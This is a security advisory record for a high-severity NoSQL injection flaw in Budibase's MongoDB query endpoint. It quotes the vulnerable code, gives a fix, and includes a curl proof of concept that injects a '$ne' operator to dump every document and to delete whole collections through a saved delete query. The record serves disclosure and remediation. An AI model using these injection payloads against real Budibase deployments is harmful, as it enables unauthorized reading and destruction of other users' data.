{"id":"GHSA-qw6m-8fw2-2v64","title":" Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution","summary":" Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution","severity":"high","cvss":8.3,"cwe":["CWE-943"],"vendor":"budibase","product":"@budibase/server","ecosystem":"npm","affected":["@budibase/server <= 3.38.1"],"published":"2026-07-24","updated":"2026-07-24","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-qw6m-8fw2-2v64","references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-qw6m-8fw2-2v64"},{"url":"https://github.com/Budibase/budibase/pull/18907"},{"url":"https://github.com/Budibase/budibase/commit/2d6c1d17cff8a653adbb2f9003eda9de38c7670f"},{"url":"https://github.com/Budibase/budibase/releases/tag/3.39.9"},{"url":"https://github.com/advisories/GHSA-qw6m-8fw2-2v64"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-24T21:39:14.095Z","slug":"GHSA-qw6m-8fw2-2v64","body":"## Overview\n\n## Summary\n\nBudibase's MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`\"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.\n\n## Details\n\nThe vulnerability exists because input validation and interpolation are misaligned. The `validateQueryInputs()` function blocks Handlebars template syntax (`{{}}`) but does not sanitize JSON structural characters:\n\n**packages/server/src/api/controllers/query/index.ts:57-69**\n```typescript\nfunction validateQueryInputs(parameters: QueryEventParameters) {\n  for (let entry of Object.entries(parameters)) {\n    const [key, value] = entry\n    if (typeof value !== \"string\") {\n      continue\n    }\n    if (findHBSBlocks(value).length !== 0) {\n      throw new Error(\n        `Parameter '${key}' input contains a handlebars binding - this is not allowed.`\n      )\n    }\n  }\n}\n```\n\nAfter validation passes, `enrichContext()` performs raw string interpolation with escaping explicitly disabled:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:105-108**\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n  noEscaping: true,\n  noHelpers: true,\n  escapeNewlines: true,\n})\n```\n\nThe interpolated string is then parsed as JSON at line 122:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:122**\n```typescript\nenrichedQuery.json = JSON.parse(\n  enrichedQuery.json ||\n  enrichedQuery.customData ||\n  enrichedQuery.requestBody\n)\n```\n\nThe parsed object flows directly into MongoDB driver calls with no further sanitization:\n\n**packages/server/src/integrations/mongodb.ts:509**\n```typescript\nreturn await collection.find(json).toArray()\n```\n\n**packages/server/src/integrations/mongodb.ts:624**\n```typescript\nreturn await collection.deleteMany(json.filter, json.options)\n```\n\nConsider a saved query with a JSON template like `{\"username\": \"{{username}}\"}`. If an attacker provides the parameter value `\", \"$ne\": \"` the interpolated string becomes `{\"username\": \"\", \"$ne\": \"\"}` — a valid JSON object that matches all documents where `username` is not empty, instead of matching a single specific user.\n\nThe route requires only `PermissionType.QUERY, PermissionLevel.WRITE` (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.\n\n## PoC\n\n**Prerequisites:** A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a `find` query with `{\"username\": \"{{username}}\"}`).\n\n**Step 1: Authenticate as a regular app user**\n```bash\nTOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"appuser@example.com\",\"password\":\"password\"}' \\\n  -c - | grep budibase:auth | awk '{print $NF}')\n```\n\n**Step 2: Execute the query normally (returns only matching document)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n  -H \"Content-Type: application/json\" \\\n  -b \"budibase:auth=$TOKEN\" \\\n  -d '{\"parameters\": {\"username\": \"alice\"}}'\n# Returns: [{\"username\": \"alice\", ...}]\n```\n\n**Step 3: Inject NoSQL operator to dump all documents**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n  -H \"Content-Type: application/json\" \\\n  -b \"budibase:auth=$TOKEN\" \\\n  -d '{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}'\n# Returns: [{\"username\": \"alice\", ...}, {\"username\": \"bob\", ...}, {\"username\": \"admin\", ...}, ...]\n```\n\nThe injected value `\", \"$ne\": \"` transforms the query from `{\"username\": \"alice\"}` to `{\"username\": \"\", \"$ne\": \"\"}`, which matches all documents where username is not empty.\n\n**Step 4: Delete all documents via a delete query (if a delete-type query is saved)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \\\n  -H \"Content-Type: application/json\" \\\n  -b \"budibase:auth=$TOKEN\" \\\n  -d '{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}'\n# Deletes ALL documents matching the injected filter\n```\n\n## Impact\n\n- **Data exfiltration:** Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.\n- **Data modification:** Through `updateMany` queries, attackers can modify arbitrary documents in bulk by injecting broadened filters.\n- **Data destruction:** Through `deleteMany` queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections.\n- **Authorization bypass:** The attack requires only `QUERY WRITE` permission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.\n\n## Recommended Fix\n\nSanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in `enrichContext()` before the `processStringSync` call:\n\n**packages/server/src/sdk/workspace/queries/queries.ts**\n```typescript\n// Add this helper function\nfunction escapeJsonValue(value: string): string {\n  return value.replace(/\\\\/g, \"\\\\\\\\\").replace(/\"/g, '\\\\\"')\n}\n\n// In enrichContext(), sanitize parameters before interpolation\nfor (const [key, value] of Object.entries(parameters)) {\n  if (typeof value === \"string\") {\n    parameters[key] = escapeJsonValue(value)\n  }\n}\n```\n\nAlternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.\n\nAdditionally, add Joi validation to the execute endpoint (`POST /api/v2/queries/:queryId`) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.\n\n## Affected packages\n\n- `@budibase/server <= 3.38.1`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"twilight","depthScore":46,"depthScoreParts":{"impact":45.7,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}